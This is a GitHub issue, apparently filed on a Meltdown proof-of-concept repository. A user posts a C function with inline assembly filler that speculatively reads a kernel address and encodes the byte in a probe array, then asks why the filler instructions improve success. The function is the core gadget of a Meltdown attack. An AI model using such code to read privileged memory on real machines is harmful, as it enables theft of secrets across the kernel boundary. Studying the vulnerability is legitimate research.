Skip to content

Confusion about part of the assembly code.  #64

Open
@howardzhang87

Description

@howardzhang87

I have managed to get rid of the assembly code and using C code to trigger meltdown, but I still need part of the assembly code you wrote which is not directly related to Meltdown to make this work. See my code below:

void meltdown_asm(unsigned long kernel_data_addr)
{
   char kernel_data = 0;
   
   // ??? give the algorithmic units something to chew
   asm volatile(
       ".rept 400;"              
       "add $0x141, %%eax;"
       ".endr;"
                 
       :
       :
       : "eax"
   ); 
    
   kernel_data = *(char*)kernel_data_addr;  
   array[kernel_data * 4096] += 83;              
}

The kernel data is in the cache. I have done some experiments and found out the inline assembly code that keeps EAX busy is critical. In another issue post, you said:"give the algorithmic units something to chew while memory access is being speculated". In my understanding, while CPU executing the dummy asm code, since the memory fetching units are idle, they would out-of-orderly fetch the kernel data ahead, which increase the possibility of success. Is my understanding correct? Many thanks!

My setup is Ubuntu 16.04 32bit VM running on i7-6600u.

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions